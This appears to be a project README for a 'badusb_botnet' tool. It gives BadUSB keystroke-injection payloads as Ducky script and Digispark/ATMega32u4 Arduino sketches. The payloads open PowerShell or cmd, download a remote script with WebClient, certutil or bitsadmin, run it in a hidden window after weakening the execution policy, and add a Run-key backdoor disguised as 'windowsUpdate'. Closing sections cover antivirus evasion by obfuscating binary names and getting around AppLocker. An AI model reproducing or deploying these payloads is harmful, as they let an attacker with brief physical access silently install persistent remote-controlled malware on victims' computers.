Option 1: Powershell

Option 1.1: Simple

> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
> (new-object net.webclient).DownloadFile('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1','poc.ps1')
> powershell.exe -windowstyle hidden -file poc.ps1

DELAY 3000
GUI r
DELAY 500
STRING powershell
DELAY 500
ENTER
DELAY 750
STRING [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
DELAY 500
ENTER
STRING (new-object net.webclient).DownloadFile('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1','poc.ps1')
DELAY 500
ENTER
STRING powershell.exe -windowstyle hidden -file poc.ps1
DELAY 500
ENTER

Option 1.2: Backdoor

> reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v windowsUpdate /f
> Invoke-WebRequest -Uri https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1 -OutFile C:\Users\$env:username\Documents\windowsUpdate.ps1
> reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v windowsUpdate /t REG_SZ /d "powershell.exe -windowstyle hidden -file C:\Users\$env:username\Documents\windowsUpdate.ps1"

DELAY 3000
GUI r
DELAY 500
STRING powershell
DELAY 500
ENTER
DELAY 750
STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v windowsUpdate /f

STRING reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v windowsUpdate /t REG_SZ /d "powershell.exe -windowstyle hidden -file C:\Users\$env:username\Documents\windowsUpdate.ps1"
DELAY 500
ENTER

Option 2: CMD

Windows Powershell is too slow at startup, so we can use cmd to download the '.ps1' file and execute it. To download a file with cmd, we can use two options: bitsadmin or certutil.exe. (Certutil is not installed by default on XP/Win2003 but is avaialble on the newer windows versions. For XP/2003 you'll need the Admin Tool Pack for windows server 2003).

Syntax

> bitsadmin /transfer myDownloadJob /download /priority normal http://downloadsrv/10mb.zip c:\10mb.zip
> certutil.exe -urlcache -split -f "https://download.sysinternals.com/files/PSTools.zip" pstools.zip

Option 2.1: Simple

> certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1" "Documents/windowsUpdate.ps1"
> powershell Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted
> powershell.exe -windowstyle hidden -file "Documents/windowsUpdate.ps1"

> certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1" "Documents/windowsUpdate.ps1"
> powershell.exe -windowstyle hidden -executionPolicy bypass -file "Documents/windowsUpdate.ps1"

Avast detects this last option.

Option 2.2: Backdoor

> certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1" Documents\windowsUpdate.ps1
> powershell Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted
> reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v windowsUpdate /t REG_SZ /d "powershell.exe -windowstyle hidden -file C:\Users\$env:username\Documents\windowsUpdate.ps1"
> reboot (?)

Example with digispark

#define kbd_es_es
#include "DigiKeyboard.h"
void setup() {
}

void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell -noe -c \". mode.com con: lines=1 cols=40\"");
//DigiKeyboard.print("cmd");
//DigiKeyboard.print("cmd /k mode con:cols=20 lines=1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.print("Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.print("S");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("(new-object net.webclient).DownloadFile('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1','poc.ps1')");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell.exe -windowstyle hidden -file poc.ps1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) {
/*empty*/
    }
}

DigiKeyboard Source Code: https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h

Keyboard en_US to es_ES: https://github.com/ernesto-xload/DigisparkKeyboard Decompress the archive and put all in : C:\Users\Administrador\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard, later in the script you must put the following line to specify the keyboard layout.

#define kbd_es_es

Example with ATMega32u4

First, we need put the keyboard.h library in es_ES, to do this you can copy the Keyboard directory of this project into: "C:\Program Files (x86)\Arduino\libraries".

#include <Keyboard.h>

void setup() {
  Keyboard.begin(); //Start keyboard communication
  delay(3000);
  Keyboard.press(KEY_LEFT_GUI);
  delay(500);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);

  Keyboard.println("cmd");
  delay(500);
  Keyboard.press(KEY_RETURN);
  delay(100);
  Keyboard.releaseAll();

  Keyboard.println("certutil.exe -urlcache -split -f \"https://raw.githubusercontent.com/alexfrancow/poc/master/poc.ps1\" \"Documents/poc.ps1\"");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);

  Keyboard.println("powershell Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);

  Keyboard.println("powershell.exe -windowstyle hidden -file \"Documents/poc.ps1\"");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
}
void loop() {
}

We use the \" to scape the double quotes in Arduino code.

Example with bitsadmin

Keyboard.println(" bitsadmin /transfer \"Descargando Drivers USB\" /download /priority high \"https://raw.githubusercontent.com/alexfrancow/poc/master/poc.ps1\" %TEMP%/poc.ps1 && echo Instalando Drivers: ");

Evade AVs

Obfuscating Binary Names

For Loop Value Extraction

FOR /F “delims=s\ tokens=4” %a IN (‘set^|findstr PSM’)DO %a

Example:

Keyboard.println(" FOR /F \"delims=/ tokens=1\" %a IN ('where certutil')DO %a -urlcache -split -f \"https://raw.githubusercontent.com/alexfrancow/poc/master/poc.ps1\" \"Documents/poc.ps1\" ");

Bypass AppLocker

Policies of AppLocker are stored in HKEY_LOCAL_Machine\Software\Policies\Microsoft\Windows\SrpV2, You can verify the folders in which you have permission to run .ps1 scripts.
